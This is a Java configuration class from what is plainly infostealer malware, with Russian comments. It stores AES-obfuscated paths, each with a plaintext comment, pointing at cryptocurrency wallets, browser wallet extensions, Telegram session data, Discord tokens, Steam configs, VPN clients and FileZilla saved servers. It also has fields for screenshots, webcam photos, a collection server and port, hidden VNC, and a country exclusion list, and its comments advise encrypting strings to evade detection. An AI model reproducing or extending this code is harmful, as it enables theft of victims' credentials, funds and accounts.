package procat.ui;

import moduly.decrypt.DecruptStr;
import moduly.decrypt.ShiperInter;
import moduly.decrypt.ShiperKey;

import java.io.File;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.util.ArrayList;

public class Nastroiki {

//-----------------------------------------------------------------

    private static final String decrupr_str = "Nn7QqwIB9QQR2X4Y"; // aes256 16bit

    //------------------

    private static final File folder = folderRandom(false);  // тут крч, берез путь для лога свой || или генерируем его рандомно
    private static final ArrayList<String> strana_no_work = stranaNoWork();



    //------------------

    private final String skrin_name = "RGSWAjxW/8HWhdWVSH79Fw"; // /screenshot.png
    private final String web_photo_name = "WWWU6G1B7VVqAj4v+vDQUA"; // /photo.png
    private final String info_pc_name = "uD/ik+5RXIHGFZFz8baURw"; // /info.txt

    //------------------
    private final String c_user_put = "H474LBcu0UhL91lIDNLLlQ"; // C:/Users/
    //------------------


    private final String Desktop = "iUpbWXu8Ex3dbdDKRLfZ/Q"; // /Desktop
    private final String Pictures = "FXww0Y+deZkZZburqzPeug"; // /Pictures


    //------------------
    private final String crypto_wallet_put = "r9ZtOhM6i4mjTBPnr6LSuw"; // /crypto_wallet


    // /AppData/Roaming/Bitcoin
    private final String put_AppData = "QvOXLJ614V6UZ6Dk1Bxejg"; // /AppData
    private final String put_Roaming = "YJE8xKjPhztfM1B+GwYN/A"; // /Roaming
    private final String Bitcoin = "2M4Bzn9J6HklsKyq+C3CXg"; // /Bitcoin


    // /AppData/Local/exodus
    private final String put_Local = "jLu5l/CXWt0jRlWAcJ1iYw"; // /Local
    private final String Exodus = "LYGJlWF5/JhP4FQu94mFpQ"; // /Exodus


    // /AppData/Local/Programs/com.liberty.jaxx
    private final String put_Programs = "c1Mr3WwiC6yObghkCAJbzg"; // /Programs
    private final String put_com = "AoVjuzFdpM6H9ENz5wHIVw"; // /com
    private final String put_liberty = "lNcmvRpK41ObxMK9w6n9hg";    // .liberty
    private final String put_jaxx = "mTFdc/7RZnYCBNu3L0AW0w";       // .jaxx
    private final String Jaxx = "+1IJttDMln5+aE1upCv/Kg"; // /jaxx


    // /AppData/Local/Programs/atomic
    private final String Atomic = "FjvpPxoRDcGuquPJoAzjEg"; // /atomic



    //------------------
    private final String web_crypto_wallet_put = "iLgaEYkVWB0xWyE96FRQVg"; // /web_crypto_wallet


    // \AppData\Local\Google\Chrome\User Data\Default\Extensions
    private final String put_WebWallet_Google = "axsU337faAiThs/kAE0TWQ"; // \Google
    private final String put_WebWallet_Chrome = "w3U6UOVaacIkhmGMKEFBBg"; // \Chrome
    private final String put_WebWallet_User = "jwvwD2NJxQkeRONHr4l8qA"; // \User
    private final String put_WebWallet_Data = "xiRRYOS4IMJQlLZBcliQ8Q"; // " " + Data
    private final String put_WebWallet_Default = "H6Y3pbW8/i5GXDdyVn5NSw"; // \Default
    private final String put_WebWallet_Extensions = "ry+xMblSYWB41NZP8dRYug"; // \Extensions


    // \AppData\Roaming\Mozilla\Firefox\Profiles\randomstring.default\extensions
    private final String put_WebWallet_Mozilla = "tN6sV4HuuAsOwTRMuqewxw"; // \Mozilla
    private final String put_WebWallet_Firefox = "tYBCb4R6J/28ANas0M1cSQ"; // \Firefox
    private final String put_WebWallet_Profiles = "uDIyhEOVeJN3lJgXR2myHQ"; // \Profiles
    private final String put_WebWallet_randomstring = "2BGnHmcoyhVA5MwjywLv5Q"; // \randomstring
    private final String put_WebWallet_default = "mJoePdH6aukWLLd1l6mGog"; // .default
    private final String put_WebWallet_extensions = "NB3RaTKB1IK7MYtWPEgnlQ"; // \extensions



    // \AppData\Local\Microsoft\Edge\User Data\Default\Extensions
    private final String put_WebWallet_Microsoft = "gpAMk6xiPI754nxzQRXDcw"; // \Microsoft
    private final String put_WebWallet_Edge = "IvQSyW1y5DK6r86UOvgTTA"; // \Edge


    //------------------



    private final String Process = "lVCTpl/a28U/wTIeFtc4Aw"; // /Process.txt



    //------------------
    private final String sbor_msg_put = "Vxd7rchYrX84AXukny8nTw"; // /sbor_msg



    // \AppData\Roaming\Telegram Desktop\tdata
    private final String put_Telegram = "1THOgShxnie3g5FbdU6xQw"; // \Telegram
    private final String put_Desktop = "Evq1sdG6QpdFLIfUfe+hGw"; // " " + Desktop
    private final String put_Telegram_tdata = "BFsb5CCXP05HvVr4/Q2WiA"; // \tdata


    // /AppData/Local/NordVPN
    private final String NordVPN = "KNe7xLnMhgboIPXmud/RCg"; // /NordVPN


    // /AppData/Local/Surfshark
    private final String Surfshark = "sslhBfTugmqP7ierK2rVJA"; // /Surfshark


    // /AppData/Local/ProtonVPN
    private final String ProtonVPN = "7R2QlmY9PYdhr+97jtdBBA"; // /ProtonVPN


    // /AppData/Local/ExpressVPN
    private final String ExpressVPN = "EMpLG1HOoC4ErBDT+XIzeA"; // /ExpressVPN


    // /AppData\Local\GZ_Systems
    private final String GZ_Systems = "wBKDpnh/Z2j/d2gme7vkQQ"; // /GZ_Systems
    private final String PureVPN = "E6hsSX+pRfJhkJuqao6MQg"; // /PureVPN




    //------------------



    private final String diskord_Appdata = "bUOprTsIzPIFYjhRYX6Gpg"; // /Appdata
    private final String diskord_smoll = "EKlMWMePycpTEncuH8lLcA"; // discord
    private final String diskord_Local = "jLu5l/CXWt0jRlWAcJ1iYw"; // /Local
    private final String diskord_Storage = "Jkkukuz6DNpTJ6Dwc/subA"; // " " + Storage
    private final String diskord_leveldb = "YM8rJNihNrFWmGAJMLYHGw"; // /leveldb
    private final String diskord_big = "4Db4fYGP+Fu/rvtglLVvcA"; // Discord
    private final String diskord_discordcanary = "1Lkj2bAv8Q6fhJIHkoZcYA"; // discordcanary
    private final String diskord_discordptb = "HT6l5iWy4Yca5GP36q4P6Q"; // /discordptb
    private final String diskord_Auth_Keys_txt = "mXeaN1eSoJUyEXGm5ptZGQ"; // Auth_Keys.txt



    //------------------



    private final String steam_big = "0rtpWL1jv7nOo1r1U3V/nw"; // Steam
    private final String steam_smoll = "Km3q+5RvsqnYohglpZdW1Q"; // steam
    private final String steam_config = "WfQauVcSjAKE4NSseKWuqQ"; // config/
    private final String steam_Log_Info_txt = "dugonMGvuJH8ol1dWH4KDg"; // Log_Info.txt
    private final String steam_steamapps = "TD1pRsCuFpOXHzWIWtGTUg"; // steamapps/



    //------------------

    // \AppData\Roaming\FileZilla\recentservers.xml
    private final String fileZilla = ""; // \FileZilla
    private final String recentservers = ""; // \recentservers
    private final String xml = ""; // .xml


    //------------------

    private final String adress_server = ""; // 192.168.1.108




    //------------------ Индивидуально НЕ удаляй через криптор!!!!!

    private final int port = 8080; // не криптовать!!
    private final String hvnc = ""; // "names.exe"

//-----------------------------------------------------------------

    public static ArrayList<String> stranaNoWork() {
        ArrayList<String> mas = new ArrayList<>();
        //mas.add("BV8BoK7WmNz436Owpqo9Ng"); // вот таким образом добавляем страна по которомы не будет работать
        //mas.add("Qzjd4IfAk4Y3baxrwHB48Q"); // ПОменять потом!
        return mas; // America Germany
    }


//-----------------------------------------------------------------

    private static ArrayList<String> masNameFile() { // не забудь шифрануть этот масив ключем по аесу
        ArrayList<String> mas_rnd = new ArrayList<>(); // тут рандомное из наших имен
        //mas_rnd.add("I/FkRc6py+nj3FM/Afqd3w"); // которое добавим сам в массив по типу /rembo/228/root
        //mas_rnd.add("YRa9/OqieuxVxz/lGByoWg");
        //mas_rnd.add("+4JSO4bvMuYzTJFXliv0hw");
        //mas_rnd.add("DjkLhqhpIoJFtlXZK7To1Q");
        /*
        рандомный ключ -> 7kJSCv4bafY1VuTu
        defend
        render
        fender
        bender
         */
        return mas_rnd;
    }

//-----------------------------------------------------------------

    public static ArrayList<String> getStrana_no_work() { return strana_no_work; }

    public String getAdress_server() { return adress_server; }

    public int getPort() { return port; }

    public static File getFolder() { return folder; }

    public static String getDecrupr_str() { return decrupr_str; }

    public String getSkrin_name() { return skrin_name; }

    public String getWeb_photo_name() { return web_photo_name; }

    public String getInfo_pc_name() { return info_pc_name; }

    public String getC_user_put() { return c_user_put; }

    public String getDesktop() { return Desktop; }

    public String getPictures() { return Pictures; }

    public String getCrypto_wallet_put() { return crypto_wallet_put; }

    public String getPut_AppData() {
        return put_AppData;
    }

    public String getPut_Roaming() {
        return put_Roaming;
    }

    public String getBitcoin() {
        return Bitcoin;
    }

    public String getPut_Local() {
        return put_Local;
    }

    public String getExodus() {
        return Exodus;
    }

    public String getPut_Programs() {
        return put_Programs;
    }

    public String getFileZilla() { return fileZilla; }

    public String getRecentservers() { return recentservers; }

    public String getXml() { return xml; }

    public String getPut_com() {
        return put_com;
    }

    public String getPut_liberty() {
        return put_liberty;
    }

    public String getPut_jaxx() {
        return put_jaxx;
    }

    public String getJaxx() {
        return Jaxx;
    }

    public String getAtomic() {
        return Atomic;
    }

    public String getWeb_crypto_wallet_put() {
        return web_crypto_wallet_put;
    }

    public String getPut_WebWallet_Google() {
        return put_WebWallet_Google;
    }

    public String getPut_WebWallet_Chrome() {
        return put_WebWallet_Chrome;
    }

    public String getPut_WebWallet_User() {
        return put_WebWallet_User;
    }

    public String getPut_WebWallet_Data() {
        return put_WebWallet_Data;
    }

    public String getPut_WebWallet_Default() {
        return put_WebWallet_Default;
    }

    public String getPut_WebWallet_Extensions() {
        return put_WebWallet_Extensions;
    }

    public String getPut_WebWallet_Mozilla() {
        return put_WebWallet_Mozilla;
    }

    public String getPut_WebWallet_Firefox() {
        return put_WebWallet_Firefox;
    }

    public String getPut_WebWallet_Profiles() {
        return put_WebWallet_Profiles;
    }

    public String getPut_WebWallet_randomstring() {
        return put_WebWallet_randomstring;
    }

    public String getPut_WebWallet_default() {
        return put_WebWallet_default;
    }

    public String getPut_WebWallet_extensions() {
        return put_WebWallet_extensions;
    }

    public String getPut_WebWallet_Microsoft() {
        return put_WebWallet_Microsoft;
    }

    public String getPut_WebWallet_Edge() {
        return put_WebWallet_Edge;
    }

    public String getProcess() {
        return Process;
    }

    public String getSbor_msg_put() {
        return sbor_msg_put;
    }

    public String getPut_Telegram() {
        return put_Telegram;
    }

    public String getPut_Desktop() {
        return put_Desktop;
    }

    public String getPut_Telegram_tdata() {
        return put_Telegram_tdata;
    }

    public String getNordVPN() {
        return NordVPN;
    }

    public String getSurfshark() {
        return Surfshark;
    }

    public String getProtonVPN() {
        return ProtonVPN;
    }

    public String getExpressVPN() {
        return ExpressVPN;
    }

    public String getGZ_Systems() {
        return GZ_Systems;
    }

    public String getPureVPN() {
        return PureVPN;
    }

    public String getHvnc() { return hvnc; }

    public String getDiskord_Appdata() {
        return diskord_Appdata;
    }

    public String getDiskord_smoll() {
        return diskord_smoll;
    }

    public String getDiskord_Local() {
        return diskord_Local;
    }

    public String getDiskord_Storage() {
        return diskord_Storage;
    }

    public String getDiskord_leveldb() {
        return diskord_leveldb;
    }

    public String getDiskord_discordptb() {
        return diskord_discordptb;
    }

    public String getDiskord_big() {
        return diskord_big;
    }

    public String getDiskord_discordcanary() {
        return diskord_discordcanary;
    }

    public String getDiskord_Auth_Keys_txt() {
        return diskord_Auth_Keys_txt;
    }

    public String getSteam_big() {
        return steam_big;
    }

    public String getSteam_smoll() {
        return steam_smoll;
    }

    public String getSteam_config() {
        return steam_config;
    }

    public String getSteam_Log_Info_txt() {
        return steam_Log_Info_txt;
    }

    public String getSteam_steamapps() {
        return steam_steamapps;
    }


//-----------------------------------------------------------------

    private static File folderRandom(boolean rnd_file_name) {
        String otvet = System.getProperty("user.home") + "\\";
        if (rnd_file_name) { // выбираем рандомное из наших папок имен из массива
            try {
                SecureRandom r = new SecureRandom();

                DecruptStr ds = new DecruptStr();
                ShiperInter shiperKey = new ShiperKey();
                shiperKey.setMetKey(decrupr_str);

                int rnd = r.nextInt(masNameFile().size());
                otvet += new File(ds.decryptor(shiperKey.getAlgorithm(), masNameFile().get(rnd), shiperKey.getSkeySpec(), shiperKey.getIvKey()));
            } catch (Exception e) {
                e.printStackTrace();
            }
        } else {
            SecureRandom r = new SecureRandom();
            int rnd_kolvo_file = r.nextInt(5 - 2 + 1) + 2; // 1-5 rnd file

            ArrayList<String> mas_rnd_file = new ArrayList();
            for (int i = 1; i <= rnd_kolvo_file; i++) {
                mas_rnd_file.add(generateString(r.nextInt(10 - 2 + 1) + 2));
            }
            String line = generateString(r.nextInt(10 - 2 + 1) + 2);
            for (int i = 0; i < mas_rnd_file.size(); i++) {
                line += "/" + mas_rnd_file.get(i);
            }
            otvet += new File(line);
        }
        if (!new File(otvet).exists()) {
            new File(otvet).mkdirs();
        }
        System.out.println(otvet);
        return new File(otvet);
    }

//-----------------------------------------------------------------

    public String decrName(String s) {
        DecruptStr ds = new DecruptStr();
        ShiperInter shiperKey = new ShiperKey();
        shiperKey.setMetKey(decrupr_str);
        String res = null;
        try {
            res = ds.decryptor(shiperKey.getAlgorithm(), s, shiperKey.getSkeySpec(), shiperKey.getIvKey());
        } catch (Exception e) {
            e.printStackTrace();
        }
        return res;
    }
//-----------------------------------------------------------------

    private static String generateString(int length) {
        SecureRandom rng = null;
        try {
            rng = new SecureRandom().getInstanceStrong();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
        String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

        char[] text = new char[length];
        for (int i = 0; i < length; i++)
        {
            text[i] = characters.charAt(rng.nextInt(characters.length()));
        }
        return new String(text);
    }
//-----------------------------------------------------------------

    public Nastroiki() { }

//-----------------------------------------------------------------
}
